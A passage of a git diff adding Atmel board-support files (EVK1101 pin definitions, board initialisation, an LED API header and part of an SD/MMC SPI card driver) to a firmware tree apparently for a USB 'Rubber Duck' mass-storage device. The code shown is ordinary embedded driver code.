USB_OVERCURRENT_DETECT_PIN AVR32_PIN_PA20 + +//! @} + + +//! Number of LEDs. +#define LED_COUNT 4 + +/*! \name GPIO Connections of LEDs + */ +//! @{ +#define LED0_GPIO AVR32_PIN_PA07 +#define LED1_GPIO AVR32_PIN_PA08 +#define LED2_GPIO AVR32_PIN_PA21 +#define LED3_GPIO AVR32_PIN_PA22 +//! @} + +/*! \name PWM Channels of LEDs + */ +//! @{ +#define LED0_PWM 0 +#define LED1_PWM 1 +#define LED2_PWM 2 +#define LED3_PWM 6 +//! @} + +/*! \name PWM Functions of LEDs + */ +//! @{ +#define LED0_PWM_FUNCTION AVR32_PWM_0_0_FUNCTION +#define LED1_PWM_FUNCTION AVR32_PWM_1_0_FUNCTION +#define LED2_PWM_FUNCTION AVR32_PWM_2_0_FUNCTION +#define LED3_PWM_FUNCTION AVR32_PWM_6_0_FUNCTION +//! @} + +/*! \name Color Identifiers of LEDs to Use with LED Functions + */ +//! @{ +#define LED_MONO0_GREEN LED0 +#define LED_MONO1_GREEN LED1 +#define LED_MONO2_GREEN LED2 +#define LED_MONO3_GREEN LED3 +//! @} + + +/*! \name GPIO Connections of Push Buttons + */ +//! @{ +#define GPIO_PUSH_BUTTON_0 AVR32_PIN_PB02 +#define GPIO_PUSH_BUTTON_0_PRESSED 0 +#define GPIO_PUSH_BUTTON_1 AVR32_PIN_PB03 +#define GPIO_PUSH_BUTTON_1_PRESSED 0 +//! @} + + +/*! \name GPIO Connections of the Joystick + */ +//! @{ +#define GPIO_JOYSTICK_PUSH AVR32_PIN_PA13 +#define GPIO_JOYSTICK_PUSH_PRESSED 0 +#define GPIO_JOYSTICK_LEFT AVR32_PIN_PB06 +#define GPIO_JOYSTICK_LEFT_PRESSED 0 +#define GPIO_JOYSTICK_RIGHT AVR32_PIN_PB09 +#define GPIO_JOYSTICK_RIGHT_PRESSED 0 +#define GPIO_JOYSTICK_UP AVR32_PIN_PB07 +#define GPIO_JOYSTICK_UP_PRESSED 0 +#define GPIO_JOYSTICK_DOWN AVR32_PIN_PB08 +#define GPIO_JOYSTICK_DOWN_PRESSED 0 +//! @} + + +/*! \name ADC Connection of the Temperature Sensor + */ +//! @{ +#define ADC_TEMPERATURE_CHANNEL 7 +#define ADC_TEMPERATURE_PIN AVR32_ADC_AD_7_PIN +#define ADC_TEMPERATURE_FUNCTION AVR32_ADC_AD_7_FUNCTION +//! @} + + +/*! \name ADC Connection of the Light Sensor + */ +//! @{ +#define ADC_LIGHT_CHANNEL 6 +#define ADC_LIGHT_PIN AVR32_ADC_AD_6_PIN +#define ADC_LIGHT_FUNCTION AVR32_ADC_AD_6_FUNCTION +//! @} + + +/*! \name ADC Connections of the Accelerometer + */ +//! @{ +#define ADC_ACC_X_CHANNEL 1 +#define ADC_ACC_X_PIN AVR32_ADC_AD_1_PIN +#define ADC_ACC_X_FUNCTION AVR32_ADC_AD_1_FUNCTION +#define ADC_ACC_Y_CHANNEL 2 +#define ADC_ACC_Y_PIN AVR32_ADC_AD_2_PIN +#define ADC_ACC_Y_FUNCTION AVR32_ADC_AD_2_FUNCTION +#define ADC_ACC_Z_CHANNEL 3 +#define ADC_ACC_Z_PIN AVR32_ADC_AD_3_PIN +#define ADC_ACC_Z_FUNCTION AVR32_ADC_AD_3_FUNCTION +//! @} + + +/*! \name PWM Connections of Audio + */ +//! @{ +#define AUDIO_LOW_PWM_CHANNEL 5 +#define AUDIO_LOW_PWM_PIN AVR32_PWM_5_0_PIN +#define AUDIO_LOW_PWM_FUNCTION AVR32_PWM_5_0_FUNCTION +#define AUDIO_HIGH_PWM_CHANNEL 6 +#define AUDIO_HIGH_PWM_PIN AVR32_PWM_6_1_PIN +#define AUDIO_HIGH_PWM_FUNCTION AVR32_PWM_6_1_FUNCTION +//! @} + + +/*! \name SPI Connections of the AT45DBX Data Flash Memory + */ +//! @{ +#define AT45DBX_SPI (&AVR32_SPI) +#define AT45DBX_SPI_NPCS 0 +#define AT45DBX_SPI_SCK_PIN AVR32_SPI_SCK_0_0_PIN +#define AT45DBX_SPI_SCK_FUNCTION AVR32_SPI_SCK_0_0_FUNCTION +#define AT45DBX_SPI_MISO_PIN AVR32_SPI_MISO_0_0_PIN +#define AT45DBX_SPI_MISO_FUNCTION AVR32_SPI_MISO_0_0_FUNCTION +#define AT45DBX_SPI_MOSI_PIN AVR32_SPI_MOSI_0_0_PIN +#define AT45DBX_SPI_MOSI_FUNCTION AVR32_SPI_MOSI_0_0_FUNCTION +#define AT45DBX_SPI_NPCS0_PIN AVR32_SPI_NPCS_0_0_PIN +#define AT45DBX_SPI_NPCS0_FUNCTION AVR32_SPI_NPCS_0_0_FUNCTION +//! @} + + +/*! \name GPIO and SPI Connections of the SD/MMC Connector + */ +//! @{ +#define SD_MMC_CARD_DETECT_PIN AVR32_PIN_PB00 +#define SD_MMC_WRITE_PROTECT_PIN AVR32_PIN_PB01 +#define SD_MMC_SPI (&AVR32_SPI) +#define SD_MMC_SPI_NPCS 1 +#define SD_MMC_SPI_SCK_PIN AVR32_SPI_SCK_0_0_PIN +#define SD_MMC_SPI_SCK_FUNCTION AVR32_SPI_SCK_0_0_FUNCTION +#define SD_MMC_SPI_MISO_PIN AVR32_SPI_MISO_0_0_PIN +#define SD_MMC_SPI_MISO_FUNCTION AVR32_SPI_MISO_0_0_FUNCTION +#define SD_MMC_SPI_MOSI_PIN AVR32_SPI_MOSI_0_0_PIN +#define SD_MMC_SPI_MOSI_FUNCTION AVR32_SPI_MOSI_0_0_FUNCTION +#define SD_MMC_SPI_NPCS_PIN AVR32_SPI_NPCS_1_0_PIN +#define SD_MMC_SPI_NPCS_FUNCTION AVR32_SPI_NPCS_1_0_FUNCTION +//! @} + +/*! \name USART connection to the UC3B board controller + */ +//! @{ +#define USART (&AVR32_USART1) +#define USART_RXD_PIN AVR32_USART1_RXD_0_0_PIN +#define USART_RXD_FUNCTION AVR32_USART1_RXD_0_0_FUNCTION +#define USART_TXD_PIN AVR32_USART1_TXD_0_0_PIN +#define USART_TXD_FUNCTION AVR32_USART1_TXD_0_0_FUNCTION +#define USART_IRQ AVR32_USART1_IRQ +#define USART_IRQ_GROUP AVR32_USART1_IRQ_GROUP +#define USART_SYSCLK SYSCLK_USART1 +//! @} + +/*! \name TWI Connections of the Spare TWI Connector + */ +//! @{ +#define SPARE_TWI (&AVR32_TWI) +#define SPARE_TWI_SCL_PIN AVR32_TWI_SCL_0_0_PIN +#define SPARE_TWI_SCL_FUNCTION AVR32_TWI_SCL_0_0_FUNCTION +#define SPARE_TWI_SDA_PIN AVR32_TWI_SDA_0_0_PIN +#define SPARE_TWI_SDA_FUNCTION AVR32_TWI_SDA_0_0_FUNCTION +//! @} + + +/*! \name SPI Connections of the Spare SPI Connector + */ +//! @{ +#define SPARE_SPI (&AVR32_SPI) +#define SPARE_SPI_NPCS 2 +#define SPARE_SPI_SCK_PIN AVR32_SPI_SCK_0_0_PIN +#define SPARE_SPI_SCK_FUNCTION AVR32_SPI_SCK_0_0_FUNCTION +#define SPARE_SPI_MISO_PIN AVR32_SPI_MISO_0_0_PIN +#define SPARE_SPI_MISO_FUNCTION AVR32_SPI_MISO_0_0_FUNCTION +#define SPARE_SPI_MOSI_PIN AVR32_SPI_MOSI_0_0_PIN +#define SPARE_SPI_MOSI_FUNCTION AVR32_SPI_MOSI_0_0_FUNCTION +#define SPARE_SPI_NPCS_PIN AVR32_SPI_NPCS_2_0_PIN +#define SPARE_SPI_NPCS_FUNCTION AVR32_SPI_NPCS_2_0_FUNCTION +//! @} + + +#endif // _EVK1101_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/boards/evk1101/init.c b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/boards/evk1101/init.c new file mode 100755 index 0000000..e892885 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/boards/evk1101/init.c @@ -0,0 +1,131 @@ +/***************************************************************************** + * + * \file + * + * \brief EVK1101 board init. + * + * This file contains board initialization function. + * + * Copyright (c) 2009-2011 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + ******************************************************************************/ + + + +#include "compiler.h" +#include "evk1101.h" +#include "conf_board.h" +#include "gpio.h" +#include "board.h" + +#if defined (CONF_BOARD_AT45DBX) +# define AT45DBX_MEM_CNT 1 +#endif + +void board_init(void) +{ + gpio_configure_pin(LED0_GPIO,GPIO_DIR_OUTPUT | GPIO_INIT_HIGH); + gpio_configure_pin(LED1_GPIO,GPIO_DIR_OUTPUT | GPIO_INIT_HIGH); + gpio_configure_pin(LED2_GPIO,GPIO_DIR_OUTPUT | GPIO_INIT_HIGH); + gpio_configure_pin(LED3_GPIO,GPIO_DIR_OUTPUT | GPIO_INIT_HIGH); + + gpio_configure_pin(GPIO_PUSH_BUTTON_0,GPIO_DIR_INPUT); + gpio_configure_pin(GPIO_PUSH_BUTTON_1,GPIO_DIR_INPUT); + gpio_configure_pin(GPIO_JOYSTICK_PUSH,GPIO_DIR_INPUT); + gpio_configure_pin(GPIO_JOYSTICK_LEFT,GPIO_DIR_INPUT); + gpio_configure_pin(GPIO_JOYSTICK_UP,GPIO_DIR_INPUT); + gpio_configure_pin(GPIO_JOYSTICK_DOWN,GPIO_DIR_INPUT); + +#if defined (CONF_BOARD_AT45DBX) + static const gpio_map_t AT45DBX_SPI_GPIO_MAP = { + {AT45DBX_SPI_SCK_PIN, AT45DBX_SPI_SCK_FUNCTION}, + {AT45DBX_SPI_MISO_PIN, AT45DBX_SPI_MISO_FUNCTION}, + {AT45DBX_SPI_MOSI_PIN, AT45DBX_SPI_MOSI_FUNCTION}, +# define AT45DBX_ENABLE_NPCS_PIN(npcs, unused) \ + {AT45DBX_SPI_NPCS##npcs##_PIN, AT45DBX_SPI_NPCS##npcs##_FUNCTION}, + MREPEAT(AT45DBX_MEM_CNT, AT45DBX_ENABLE_NPCS_PIN, ~) +# undef AT45DBX_ENABLE_NPCS_PIN + }; + + // Assign I/Os to SPI. + gpio_enable_module(AT45DBX_SPI_GPIO_MAP, + sizeof(AT45DBX_SPI_GPIO_MAP) / sizeof(AT45DBX_SPI_GPIO_MAP[0])); +#endif + +#if defined (CONF_BOARD_SD_MMC_SPI) + static const gpio_map_t SD_MMC_SPI_GPIO_MAP = { + {SD_MMC_SPI_SCK_PIN, SD_MMC_SPI_SCK_FUNCTION }, + {SD_MMC_SPI_MISO_PIN, SD_MMC_SPI_MISO_FUNCTION}, + {SD_MMC_SPI_MOSI_PIN, SD_MMC_SPI_MOSI_FUNCTION}, + {SD_MMC_SPI_NPCS_PIN, SD_MMC_SPI_NPCS_FUNCTION}, + }; + + // Assign I/Os to SPI. + gpio_enable_module(SD_MMC_SPI_GPIO_MAP, + sizeof(SD_MMC_SPI_GPIO_MAP) / sizeof(SD_MMC_SPI_GPIO_MAP[0])); +#endif + +#if defined (CONF_BOARD_TWI) + static const gpio_map_t TWI_GPIO_MAP = { + {AVR32_TWI_SDA_0_0_PIN, AVR32_TWI_SDA_0_0_FUNCTION}, + {AVR32_TWI_SCL_0_0_PIN, AVR32_TWI_SCL_0_0_FUNCTION}, + }; + + // TWI gpio pins configuration + gpio_enable_module(TWI_GPIO_MAP, + sizeof(TWI_GPIO_MAP) / sizeof(TWI_GPIO_MAP[0])); +#endif + +#if defined (CONF_BOARD_COM_PORT) + // USART GPIO pin configuration. + static const gpio_map_t COMPORT_GPIO_MAP = { + {USART_RXD_PIN, USART_RXD_FUNCTION }, + {USART_TXD_PIN, USART_TXD_FUNCTION }, + }; + gpio_enable_module(COMPORT_GPIO_MAP, + sizeof(COMPORT_GPIO_MAP) / sizeof(COMPORT_GPIO_MAP[0])); +#endif + +#if UC3D + static const gpio_map_t USB_GPIO_MAP = { + {AVR32_USBC_DP_PIN, AVR32_USBC_DP_FUNCTION}, + {AVR32_USBC_DM_PIN, AVR32_USBC_DM_FUNCTION}, + {AVR32_USBC_VBUS_PIN, AVR32_USBC_VBUS_FUNCTION}, + }; + + // Assign GPIO pins to USB. + gpio_enable_module(USB_GPIO_MAP, + sizeof(USB_GPIO_MAP) / sizeof(USB_GPIO_MAP[0])); +#endif +} diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/boards/evk1101/led.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/boards/evk1101/led.h new file mode 100755 index 0000000..952c8da --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/boards/evk1101/led.h @@ -0,0 +1,182 @@ +/***************************************************************************** + * + * \file + * + * \brief AT32UC3B EVK1101 board LEDs support package. + * + * This file contains definitions and services related to the LED features of + * the EVK1101 board. + * + * Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + ******************************************************************************/ + + +#ifndef _LED_H_ +#define _LED_H_ + +#include "compiler.h" + + +/*! \name Identifiers of LEDs to Use with LED Functions + */ +//! @{ +#define LED0 0x01 +#define LED1 0x02 +#define LED2 0x04 +#define LED3 0x08 +//! @} + + +/*! \brief Gets the last state of all LEDs set through the LED API. + * + * \return State of all LEDs (1 bit per LED). + * + * \note The GPIO pin configuration of all LEDs is left unchanged. + */ +extern U32 LED_Read_Display(void); + +/*! \brief Sets the state of all LEDs. + * + * \param leds New state of all LEDs (1 bit per LED). + * + * \note The pins of all LEDs are set to GPIO output mode. + */ +extern void LED_Display(U32 leds); + +/*! \brief Gets the last state of the specified LEDs set through the LED API. + * + * \param mask LEDs of which to get the state (1 bit per LED). + * + * \return State of the specified LEDs (1 bit per LED). + * + * \note The GPIO pin configuration of all LEDs is left unchanged. + */ +extern U32 LED_Read_Display_Mask(U32 mask); + +/*! \brief Sets the state of the specified LEDs. + * + * \param mask LEDs of which to set the state (1 bit per LED). + * + * \param leds New state of the specified LEDs (1 bit per LED). + * + * \note The pins of the specified LEDs are set to GPIO output mode. + */ +extern void LED_Display_Mask(U32 mask, U32 leds); + +/*! \brief Tests the last state of the specified LEDs set through the LED API. + * + * \param leds LEDs of which to test the state (1 bit per LED). + * + * \return \c true if at least one of the specified LEDs has a state on, else + * \c false. + * + * \note The GPIO pin configuration of all LEDs is left unchanged. + */ +extern bool LED_Test(U32 leds); + +/*! \brief Turns off the specified LEDs. + * + * \param leds LEDs to turn off (1 bit per LED). + * + * \note The pins of the specified LEDs are set to GPIO output mode. + */ +extern void LED_Off(U32 leds); + +/*! \brief Turns on the specified LEDs. + * + * \param leds LEDs to turn on (1 bit per LED). + * + * \note The pins of the specified LEDs are set to GPIO output mode. + */ +extern void LED_On(U32 leds); + +/*! \brief Toggles the specified LEDs. + * + * \param leds LEDs to toggle (1 bit per LED). + * + * \note The pins of the specified LEDs are set to GPIO output mode. + */ +extern void LED_Toggle(U32 leds); + +/*! \brief Gets as a bit-field the last state of the specified LEDs set through + * the LED API. + * + * \param field LEDs of which to get the state (1 bit per LED). + * + * \return State of the specified LEDs (1 bit per LED, beginning with the first + * specified LED). + * + * \note The GPIO pin configuration of all LEDs is left unchanged. + */ +extern U32 LED_Read_Display_Field(U32 field); + +/*! \brief Sets as a bit-field the state of the specified LEDs. + * + * \param field LEDs of which to set the state (1 bit per LED). + * \param leds New state of the specified LEDs (1 bit per LED, beginning with + * the first specified LED). + * + * \note The pins of the specified LEDs are set to GPIO output mode. + */ +extern void LED_Display_Field(U32 field, U32 leds); + +/*! \brief Gets the intensity of the specified LED. + * + * \param led LED of which to get the intensity (1 bit per LED; only the least + * significant set bit is used). + * + * \return Intensity of the specified LED (0x00 to 0xFF). + * + * \warning The PWM channel of the specified LED is supposed to be used only by + * this module. + * + * \note The GPIO pin configuration of all LEDs is left unchanged. + */ +extern U8 LED_Get_Intensity(U32 led); + +/*! \brief Sets the intensity of the specified LEDs. + * + * \param leds LEDs of which to set the intensity (1 bit per LED). + * \param intensity New intensity of the specified LEDs (0x00 to 0xFF). + * + * \warning The PWM channels of the specified LEDs are supposed to be used only + * by this module. + * + * \note The pins of the specified LEDs are set to PWM output mode. + */ +extern void LED_Set_Intensity(U32 leds, U8 intensity); + + +#endif // _LED_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.c b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.c new file mode 100755 index 0000000..d6f146c --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.c @@ -0,0 +1,1275 @@ +/***************************************************************************** + * + * \file + * + * \brief SD/MMC card driver using SPI interface. + * + * Copyright (c) 2009 - 2012 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + ******************************************************************************/ + + +/*_____ I N C L U D E S ____________________________________________________*/ + +#include "conf_access.h" + + +#if SD_MMC_SPI_MEM == ENABLE + +#include "compiler.h" +#include "board.h" +#include "gpio.h" +#include "spi.h" +#include "conf_sd_mmc_spi.h" +#include "sd_mmc_spi.h" +#include + + +/*_____ M A C R O S ________________________________________________________*/ + +#define NO_SUPPORT_USB_PING_PONG // defines if USB endpoints do not support ping pong mode + + +/*_____ D E F I N I T I O N ________________________________________________*/ + +static uint32_t gl_ptr_mem; // Memory data pointer +static uint8_t sector_buf[MMC_SECTOR_SIZE]; // Sector buffer +static spi_options_t sd_mmc_opt; +static unsigned int sd_mmc_pba_hz; + +bool sd_mmc_spi_init_done = false; +uint8_t r1; +uint16_t r2; + + uint8_t csd[16]; // stores the Card Specific Data +volatile uint64_t capacity; // stores the capacity in bytes +volatile uint16_t capacity_mult; // stores the HighCapacity in bytes +volatile uint32_t sd_mmc_spi_last_block_address; // stores the address of the last block (sector) + uint16_t erase_group_size; // stores the number of blocks concerned by an erase command + uint8_t card_type; // stores SD_CARD or MMC_CARD type card + + + uint8_t data_mem[513]; // data buffer +#if (defined SD_MMC_READ_CID) && (SD_MMC_READ_CID == true) + uint8_t cid[16]; +#endif + + +/*_____ D E C L A R A T I O N ______________________________________________*/ + +//! +//! @brief This function initializes the SD/MMC controller. +//! +//! +//! @return bit +//! The memory is ready -> true (always) +bool sd_mmc_spi_internal_init(void) +{ + uint16_t retry; + int i; + int if_cond; + + // Start at low frequency + sd_mmc_opt.baudrate = 400000; + spi_setupChipReg(SD_MMC_SPI, &sd_mmc_opt, sd_mmc_pba_hz); + + /* card needs 74 cycles minimum to start up */ + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + for(i = 0; i < 10; ++i) { + spi_write(SD_MMC_SPI,0xFF); + } + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + + // RESET THE MEMORY CARD + sd_mmc_spi_init_done = false; + card_type = MMC_CARD; + retry = 0; + do + { + // reset card and go to SPI mode + r1 = sd_mmc_spi_send_command(MMC_GO_IDLE_STATE, 0); + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + // do retry counter + retry++; + if(retry > 100) + return false; + } + while(r1 != 0x01); // check memory enters idle_state + + if_cond = sd_mmc_spi_get_if(); + if(if_cond == -1) { + return false; // card is bad + } else if (if_cond == 1) { + card_type = SD_CARD_2; + } else { + // IDENTIFICATION OF THE CARD TYPE (SD or MMC) + // Both cards will accept CMD55 command but only the SD card will respond to ACMD41 + r1 = sd_mmc_spi_send_command(SD_APP_CMD55,0); + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + + r1 = sd_mmc_spi_send_command(SD_SEND_OP_COND_ACMD, 0); + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + + if ((r1&0xFE) == 0) { // ignore "in_idle_state" flag bit + card_type = SD_CARD; // card has accepted the command, this is a SD card + } else { + card_type = MMC_CARD; // card has not responded, this is a MMC card + // reset card again + retry = 0; + do { + // reset card again + r1 = sd_mmc_spi_send_command(MMC_GO_IDLE_STATE, 0); + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + // do retry counter + retry++; + if(retry > 100) + return false; + } + while(r1 != 0x01); // check memory enters idle_state + } + } + + // CONTINUE INTERNAL INITIALIZATION OF THE CARD + // Continue sending CMD1 while memory card is in idle state + retry = 0; + do { + switch(card_type) { + case MMC_CARD: + r1 = sd_mmc_spi_send_command(MMC_SEND_OP_COND, 0); + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + break; + case SD_CARD: + sd_mmc_spi_send_command(SD_APP_CMD55,0); + r1 = sd_mmc_spi_send_command(SD_SEND_OP_COND_ACMD, 0); + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + break; + case SD_CARD_2: + // set high capacity bit mask + sd_mmc_spi_send_command(SD_APP_CMD55,0); + r1 = sd_mmc_spi_send_command(SD_SEND_OP_COND_ACMD, 0x40000000); + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + break; + } + // do retry counter + retry++; + if(retry == 50000) // measured approx. 500 on several cards + return false; + } while (r1); + + // CHECK FOR SDHC + if(card_type == SD_CARD_2) { + if_cond = sd_mmc_spi_check_hc(); + if (if_cond == -1) { + return false; + } else if (if_cond == 1){ + card_type = SD_CARD_2_SDHC; + } + } + + // DISABLE CRC TO SIMPLIFY AND SPEED UP COMMUNICATIONS + r1 = sd_mmc_spi_send_command(MMC_CRC_ON_OFF, 0); // disable CRC (should be already initialized on SPI init) + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + + // SET BLOCK LENGTH TO 512 BYTES + r1 = sd_mmc_spi_send_command(MMC_SET_BLOCKLEN, 512); + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + if (r1 != 0x00) + return false; // card unsupported if block length of 512b is not accepted + + // GET CARD SPECIFIC DATA + if (false == sd_mmc_spi_get_csd(csd)) + return false; + + // GET CARD CAPACITY and NUMBER OF SECTORS + sd_mmc_spi_get_capacity(); + + // GET CARD IDENTIFICATION DATA IF REQUIRED +#if (defined SD_MMC_READ_CID) && (SD_MMC_READ_CID == true) + if (false == sd_mmc_spi_get_cid(cid)) + return false; +#endif + + sd_mmc_spi_init_done = true; + + // Set SPI Speed to MAX + sd_mmc_opt.baudrate = SD_MMC_SPI_MASTER_SPEED; + spi_setupChipReg(SD_MMC_SPI, &sd_mmc_opt, sd_mmc_pba_hz); + return true; +} + +//! +//! @brief This function initializes the SD/MMC controller & the SPI bus(over which the SD_MMC is controlled). +//! +//! +//! @return bit +//! The memory is ready -> true (always) +bool sd_mmc_spi_init(spi_options_t spiOptions, unsigned int pba_hz) +{ + // Keep SPI options internally + sd_mmc_pba_hz = pba_hz; + memcpy( &sd_mmc_opt, &spiOptions, sizeof(spi_options_t) ); + + // Initialize the SD/MMC controller. + return sd_mmc_spi_internal_init(); +} + +//! +//! @brief This function sends a command WITH NO DATA STATE to the SD/MMC and waits for R1 response +//! This function also selects and unselects the memory => should be used only for single command transmission +//! +//! @param command command to send (see sd_mmc_spi.h for command list) +//! @param arg argument of the command +//! +//! @return uint8_t +//! R1 response (R1 == 0xFF if time out error) +uint8_t sd_mmc_spi_send_command(uint8_t command, uint32_t arg) +{ + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + r1 = sd_mmc_spi_command(command, arg); + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return r1; +} + +//! +//! @brief This function sends a command WITH DATA STATE to the SD/MMC and waits for R1 response +//! The memory /CS signal is not affected so this function can be used to send a commande during a large transmission +//! +//! @param command command to send (see sd_mmc_spi.h for command list) +//! @param arg argument of the command +//! +//! @return uint8_t +//! R1 response (R1 == 0xFF time out error) +uint8_t sd_mmc_spi_command(uint8_t command, uint32_t arg) +{ + uint8_t retry; + + spi_write(SD_MMC_SPI, 0xFF); // write dummy byte + spi_write(SD_MMC_SPI, command | 0x40); // send command + spi_write(SD_MMC_SPI, arg>>24); // send parameter + spi_write(SD_MMC_SPI, arg>>16); + spi_write(SD_MMC_SPI, arg>>8 ); + spi_write(SD_MMC_SPI, arg ); + switch(command) + { + case MMC_GO_IDLE_STATE: + spi_write(SD_MMC_SPI, 0x95); + break; + case MMC_SEND_IF_COND: + spi_write(SD_MMC_SPI, 0x87); + break; + default: + spi_write(SD_MMC_SPI, 0xff); + break; + } + + // end command + // wait for response + // if more than 8 retries, card has timed-out and return the received 0xFF + retry = 0; + r1 = 0xFF; + while((r1 = sd_mmc_spi_send_and_read(0xFF)) == 0xFF) + { + retry++; + if(retry > 10) break; + } + return r1; +} + + + +//! +//! @brief This function sends a byte over SPI and returns the byte read from the slave. +//! +//! +//! @param data_to_send byte to send over SPI +//! +//! @return uint8_t +//! Byte read from the slave +uint8_t sd_mmc_spi_send_and_read(uint8_t data_to_send) +{ + unsigned short data_read; + spi_write(SD_MMC_SPI, data_to_send); + if( SPI_ERROR_TIMEOUT == spi_read(SD_MMC_SPI, &data_read) ) + return 0xFF; + return data_read; +} +//! +//! @brief This function detects the card interface. +//! +//! +//! @return int +//! 